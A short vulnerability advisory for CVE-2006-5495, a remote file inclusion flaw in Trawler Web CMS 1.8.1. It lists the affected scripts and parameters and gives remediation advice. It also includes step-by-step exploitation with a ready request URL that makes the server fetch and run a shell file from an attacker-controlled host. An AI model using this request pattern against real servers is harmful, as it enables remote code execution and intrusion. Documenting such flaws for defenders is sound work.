CVE-2006-5495

An attacker sends HTTP GET requests to any of the listed PHP scripts, appending a URL in the vulnerable parameter (e.g., `?path_red2=http://attacker/shell.txt`). The script passes this user-supplied URL directly into a PHP include or require call, causing the server to fetch and execute arbitrary PHP code from the attacker-controlled remote host [ref_id=1]. No authentication is required, and the only precondition is that the target runs Trawler Web CMS 1.8.1 or earlier with the vulnerable files accessible.

The vulnerable files are located under the `_msdazu_pdata/redaktion/artikel/up/index.php`, `_msdazu_share/richtext/` (addtort.php, colorpik2.php, colorpik3.php, extras_menu.php, farbpalette.php, lese_inc.php, newfile.php), `_msdazu_share/share/insert1.php`, and `_msdazu_share/extras/downloads/index.php` paths. These scripts accept the `path_red2`, `path_scr_dat2`, and `path_red` parameters without sanitization and use them in PHP include/require statements [ref_id=1].

No patch is included in the bundle. The advisory does not provide a fix; the exploit entry simply notes that Trawler 1.8.1 is "openbug" and lists the vulnerable parameters [ref_id=1]. To remediate, administrators should either upgrade to a patched version (if one exists) or remove the vulnerable files, and ensure that `allow_url_include` is disabled in php.ini to block remote file inclusion attacks.

1. Identify a target running Trawler Web CMS 1.8.1. 2. Send a GET request to one of the vulnerable scripts with a remote URL in the parameter, e.g.: `http://target/_msdazu_pdata/redaktion/artikel/up/index.php?path_red2=http://attacker/shell.txt` 3. The server will fetch and execute the attacker-supplied PHP code [ref_id=1].